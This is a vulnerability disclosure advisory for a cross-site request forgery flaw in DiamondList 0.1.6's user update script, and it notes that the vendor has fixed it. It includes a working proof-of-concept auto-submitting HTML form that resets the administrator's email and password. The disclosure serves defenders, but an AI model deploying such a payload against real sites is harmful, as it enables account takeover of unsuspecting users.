Vulnerability ID: HTB22517

Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_diamondlist.html

Product: DiamondList

Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist )

Vulnerable Version: 0.1.6 and Probably Prior Versions

Vendor Notification: 22 July 2010

Vulnerability Type: CSRF (Cross-Site Request Forgery)

Status: Fixed by Vendor

Risk level: Low

Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)



Vulnerability Details:

The vulnerability exists due to failure in the "user/main/update_user" script to properly verify the source of HTTP request.



Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.



Attacker can use browser to exploit this vulnerability. The following PoC is available:



<form action="http://host/user/main/update_user/1" method="post" name="main" >



<input type="hidden" name="user[email]" value="admin (at) example (dot) com [email concealed]" />

<input type="hidden" name="user[first_name]" value="First Name" />

<input type="hidden" name="user[last_name]" value="Last Name" />

<input type="hidden" name="user[password]" value="1234" />

<input type="hidden" name="user[password_confirmation]" value="1234" />

<input type="hidden" name="commit" value="Update" />

</form>

<script>

document.main.submit();

</script>



Solution: Upgrade to the most recent version